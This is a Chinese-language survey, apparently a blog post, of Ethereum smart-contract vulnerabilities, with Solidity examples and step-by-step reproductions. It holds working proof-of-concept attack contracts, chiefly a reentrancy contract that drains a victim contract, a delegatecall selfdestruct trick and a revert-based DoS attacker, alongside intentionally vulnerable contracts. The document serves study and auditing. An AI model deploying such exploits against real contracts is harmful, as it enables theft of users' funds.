根据腾讯腾讯安全2018上半年区块链安全报告,智能合约引发的安全问题以成为区块链自身机制安全性的主要问题,本文就目前文献中提到的主流安全性问题做出总结,并列出目前的相关研究。
整形溢出(Arithmetic Issues)如下代码,如果没有assert判断,那么sellerBalance+value可能会超出uint上限制导致溢出。
pragma solidity ^0.4.15; contract Overflow { uint private sellerBalance=0; function add(uint value) returns (bool, uint){ sellerBalance += value; // complicated math with possible overflow // possible auditor assert assert(sellerBalance >= value); } } 危险的delegatecall(dangerous delegatecall)[contractfuzzer]首先需要了解call和delegatecall的区别:call和delegatecall都为合约相互调用时的函数,假设A调用B函数,call方法结果展示到B中,delegatecall方法结果展示到A中。
在如下示例中,Mark如果用delegatecall调用了恶意合约Steal,那么Mark合约会被删除。
复现:
1.用A账户部署Steal,用B账户部署Mark合约,并在部署时为合约附加10个ether。
2.账户B调用Mark.call(address(Steal)),即用B调用Steal的Innocence方法,实际上innocence会在Mark的上下文环境运行,发现账户B收到合约的10 ether(注意不是A账户)
3.用C账户执行Mark.deposit()方法,并附加10ether,再调用destruct方法,发现B无法收到10ether,说明合约确实已经在第二步被销毁。
pragma solidity ^0.4.2; contract Steal{ address owner; constructor () payable { owner = msg.sender; } function innocence() { log0("123"); selfdestruct(owner); } } contract Mark { address owner; constructor () payable { owner = msg.sender; } function Deposit() payable {} function call(address a) { a.delegatecall(bytes4(keccak256("innocence()"))); } } 无Gas发送(Gasless Send)[contractfuzzer]合约C调用合约D1时,由于fallback函数修改了storage变量——这是一个消耗大量gas的操作——导致了超过fallback的gas上限(2300gas)导致fallback失败,调用D2时,由于没有超过上限,调用成功。
复现:
1.用10ether部署C合约,0ether部署D1合约,0ether部署D2合约
2.调用C.pay(1000000000000000000, address(D1)),D1的count值仍为0
3.调用D1.kill(),以太币不增加。2,3两步说明了D1的fallback调用失败
4.调用C.pay(1000000000000000000,address(D2))
5.调用D2.kill(),发现账户增加1ether,说明D2的fallback调用成功
pragma solidity ^0.4.2; contract C { address owner; constructor () payable{ owner=msg.sender; } function pay(uint n, address d){ d.send(n); } function kill() { if (owner == msg.sender) { selfdestruct(owner); } } } contract D1 { address owner; uint public count = 0; constructor () payable{ owner=msg.sender; } function() payable { count = count+1; } function kill() { if (owner == msg.sender) { selfdestruct(owner); } } } contract D2 { address owner; constructor () payable{ owner=msg.sender; } function() payable {} function kill() { if (owner == msg.sender) { selfdestruct(owner); } } } 依赖于交易顺序/条件竞争(TOD/Front Running)[smarter]由于:
1.只有当交易被打包进区块时,他才是不可更改的
2.区块会优先打包gasprice更高的交易
所以攻击者可以恶意操控交易顺序从而使合约对自己有利。如图,出题人和做题人同时发起合约,那么做题人得到的奖励因合约执行顺序不同而不同。
再例如ERC20标准中的approve,整个流程是这样的:
1.用户A授权用户B 100代币的额度
2.用户A觉得100代币的额度太高了,再次调用approve试图把额度改为50
3.用户B在待交易处(打包前)看到了这笔交易
4.用户B构造一笔提取100代币的交易,通过条件竞争将这笔交易打包到了修改额度之前,成功提取了100代币
5.用户B发起了第二次交易,提取50代币,用户B成功拥有了150代币
function approve(address _spender, uint256 _value) public returns (bool success){ allowance[msg.sender][_spender] = _value; return true 依赖于时间戳(Timestamp Dependence/Time manipulation)[smarter]攻击者可以修改区块的时间戳-900s以此获益。
未处理的异常(Mishandled Exceptions/Unchecked Return Values For Low Level Calls)[smarter] #p#分页标题#e#例如合约KoET,攻击者可以控制函数调用次数(EVM限制调用深度为1024),从而导致send函数调用失败,但是接下来的代码会继续执行,这样前一个国王就无法得到报酬(compensation)。
Attacker:
复现失败,在Remix中运行递归会崩溃,在实际运行中由于Gas较高,无法交易(预算手续费大于30ether)。
重入漏洞(Reentrancy/DAO)[smarter][seebug1]当外部账户或其他合约向一个合约地址发送ether时,会执行该合约的fallback函数(当调用合约时没有匹配到函数,也会调用没有名字的fallback函数)。且call.value()会将所有可用Gas给予外部调用(fallback函数),若在fallback函数中再调用withdraw函数,则会导致递归问题。攻击者可以部署一个恶意递归的合约将公共钱包这个合约账户里的Ether全部提出来。
复现:
1.账户A部署IDMoney合约,账户B部署Attack合约
2.账户A调用IDMoney()方法,并附加10ether
3.账户B部署Attack合约,附加2ether
4.账户B调用Attack.setVictim()方法,设置victim变量为IDMoney合约地址
5.账户B调用Attack.step1()方法,设置amount=1000000000000000000,即合约Attack调用合约IDMoney.deposit()方法
6.账户B调用Attack.step2()方法,设置amount=500000000000000000
7.账户B调用Attack.stopAttack()方法,获得IDMoney的所有余额(包括A的存款,严格说是合约中除了500000000000000000wei的余额)
pragma solidity ^0.4.19; contract IDMoney{ address _owner; mapping (address => uint256) balances; function IDMoney() { _owner = msg.sender; } function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw(address to, uint256 amount) public payable { require(balances[msg.sender] >= amount); require(this.balance >= amount); log0(bytes32(address(this).balance/1e15)); to.call.value(amount)(); balances[msg.sender] -= amount; } function balanceof(address to) constant returns(uint256){ return balances[to]; } } contract Attack { address owner; address victim; modifier ownerOnly { require(owner == msg.sender); _; } function Attack() payable { owner = msg.sender; } // 设置已部署的 IDMoney 合约实例地址 function setVictim(address target) ownerOnly { victim = target; } // deposit Ether to IDMoney deployed function step1(uint256 amount) ownerOnly payable { if (this.balance > amount) { victim.call.value(amount)(bytes4(keccak256("deposit()"))); } } // withdraw Ether from IDMoney deployed function step2(uint256 amount) ownerOnly { victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount); } // selfdestruct, send all balance to owner function stopAttack() ownerOnly { selfdestruct(owner); } function startAttack(uint256 amount) ownerOnly { step1(amount); step2(amount / 2); } function () payable { if (msg.sender == victim) { // 再次尝试调用 IDMoney 的 withdraw 函数,递归转币 victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value); } } }注意到合约IDMoney.withdraw()方法已经存在检查账户余额的代码,但是却未能生效,原因是递归调用时没有执行到balances[msg.sender] -= amount;,因此调用时,账户的余额是不变的,而真正导致递归调用退出的是require(this.balance >= amount);,这也是为何调用结束后合约还剩下amount数量的以太币的原因。有人会问,如果把这句话删掉呢?我本以为合约会报错,但是很遗憾,合约依然能够正常运行,并且合约中不再剩下任何以太币。
DoS攻击[DoS]频繁调用某些Op(EXTCODESIZE和SUICIDE),这些Op花费的Gas小,但是需要大量资源(计算资源,I/O),以此造成DoS,对以太坊合约进行 DoS 攻击,可能导致 Ether 和 Gas 的大量消耗,更严重的是让原本的合约代码逻辑无法正常运行。
复现:
1.账户A部署PresidentOfCountry合约设置_price为1e18(1ether)。
2.账户B调用PresidentOfCountry,并附加1ether,成为President,price=2ether
3.账户C部署Attack,调用start_attack(address(PresidentOfCountry))并附加2ether,账户C成为President,由于调用后PresidentOfCountry合约会调用Attack的fallback函数,而fallback函数的revert()抛出错误。
#p#分页标题#e#4.账户B调用PresidentOfCountry,并附加4ether,但是并不能称为President,说明合约代码无法正常运行。
pragma solidity ^0.4.10; contract PresidentOfCountry { address public president; uint256 public price; constructor(uint256 _price) public payable { require(_price > 0); price = _price; president = msg.sender; } function becomePresident() payable { assert(msg.value >= price); // must pay the price to become president president.transfer(price); // we pay the previous president president = msg.sender; // we crown the new president price = msg.value * 2; // we double the price to become president } } contract Attack { function () { revert(); } function start_attack(address _target) payable { _target.call.value(msg.value)(bytes4(keccak256("becomePresident()"))); } }说实话这里我也没太搞懂,为什么合约被C调用过就无法执行了Orz
重放攻击[blackhat2018]如果合约存在相同的代码,则攻击者可以使用合约A函数的参数调用合约B。
/* * 付款人要为收款人转账,但是付款人没有足够的ETH,因此找一个代理人,并支付一定的代币作为代理费 * @param _from 付款人 * @param _to 收款人 * @param _value 金额 * @param feeUgt 代理费 * @param _v sig[0:66] #由付款人签名,即付款人确认付钱 * @param _r sig[66:130] * @param _s sig[130:132] * 如果其他合约同样包含TransferProxy函数,并且实现相似,那么攻击者可以在B合约上重放函数参数,B合约会执行成功 */ function transferProxy(address _from, address _to, uint256 _value, uint256 _feeUgt, uint8 _v,bytes32 _r, bytes32 _s) returns (bool){ if(balances[_from] < _feeUgt + _value) throw; uint256 nonce = nonces[_from]; bytes32 h = sha3(_from,_to,_value,_feeUgt,nonce); // ecrecover 验签函数 if(_from != ecrecover(h,_v,_r,_s)) throw; if(balances[_to] + _value < balances[_to] || balances[msg.sender] + _feeUgt < balances[msg.sender]) throw; balances[_to] += _value; Transfer(_from, _to, _value); balances[msg.sender] += _feeUgt; Transfer(_from, msg.sender, _feeUgt); balances[_from] -= _value + _feeUgt; nonces[_from] = nonce + 1; return true; } 变量覆盖[varreplace]以如下代码为例,Solidity存储机制的问题,p初始化后的name、mappedAddress地址会与变量testA、testB地址重合,导致调用test函数给结构体p赋值后,变量testA和testB的值也会被覆盖。
复现:
1.调用TestContract.test()方法
2.检查testA和testB的值,已被改变
pragma solidity ^0.4.0; contract TestContract{ int public testA; address public testB; struct Person { int name; address mappedAddress; } function test(int _name, address _mappedAddress) public{ Person p; p.name = _name; //testA被改变 p.mappedAddress = _mappedAddress; //testB被改变 } } 相关工作DASP[dasp]总结了以太坊合约的Top10安全性问题
luu等人[smarter]设计一套基于符号执行的智能合约安全审计工具oyente(已做过演示,目前可以检测的漏洞有整形溢出,合约依赖交易顺序,依赖时间戳的漏洞,未处理异常和重入漏洞。
Nikolic[maian]等人设计了一套符号执行检测智能合约的工具MAIAN,这些问题包括合约永久锁定资金,资金可被恶意用户转账以及被任意用户杀死,我们选用了34200个合约(去重复后有2365个),我们抽样调查了3759个合约,得到89%的正确率。
jiang等人[contractfuzzer]设计了一套基于fuzz的智能合约审计工具ContractFuzzer,他们通过在EVM中插桩,以此获取程序在执行中产生的信息,通过预先设置的测试准则发现漏洞,他们设计的工具可以检测无Gas发送、Exception Disorder、重入漏洞、依赖于时间戳漏洞、依赖于区块高度漏洞、危险的Delegatecall、合约永久锁定资金7大安全性问题,经过试验,ContractFuzzer发现漏洞的准确率较高,但是相较于Oyente,此工具找到的漏洞数量较少。
Liu等人[ReGuard]构建了基于fuzz的智能合约检测工具,旨在检测合约中的重入漏洞,实验表明,相较于Oyente,该工具有更高的准确率,并且能发现更多数量的问题。
chen等人[DoS]通过动态调整Op执行的gas花费阻止DoS攻击(通过反复执行小gas的opcode,消耗系统资源造成dos)。
参考文献[DoS]: Chen, Ting, et al. “An Adaptive Gas Cost Mechanism for Ethereum to Defend Against Under-Priced DoS Attacks.” International Conference on Information Security Practice and Experience. Springer, Cham, 2017.
[smarter]: Luu, Loi, et al. “Making smart contracts smarter.” Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. ACM, 2016.
[blackhat2018]: Bai, Zhenxuan, et al. “Your May Have Paid More than You Imagine:Replay Attacks on Ethereum Smart Contracts.” Blackhat. 2018
[seebug1]: 以太坊智能合约安全入门了解一下(上),https://paper.seebug.org/601/
#p#分页标题#e#[contractfuzzer]: Bo Jiang, Ye Liu, and W.K. Chan. 2018. ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection. In Proceedings ofthe 33rd IEEE/ACM International Conference on Automated Software Engineering (ASE’18), September 3–7, Montpellier, France, 10 pages.
[maian]: Ivica Nikolic, Aashish Kolluri, Ilya Sergey, Prateek Saxena, and Aquinas Hobor. 2018. Finding The Greedy, Prodigal, and Suicidal Contracts at Scale. (2018). DOI:https://doi.org/arXiv:1802.06038v1
[ReGuard]: Liu, C., Liu, H., Cao, Z., Chen, Z., Chen, B., & Roscoe, B. (2018). ReGuard: Finding reentrancy bugs in smart contracts. Proceedings – International Conference on Software Engineering, 65–68.https://doi.org/10.1145/3183440.3183495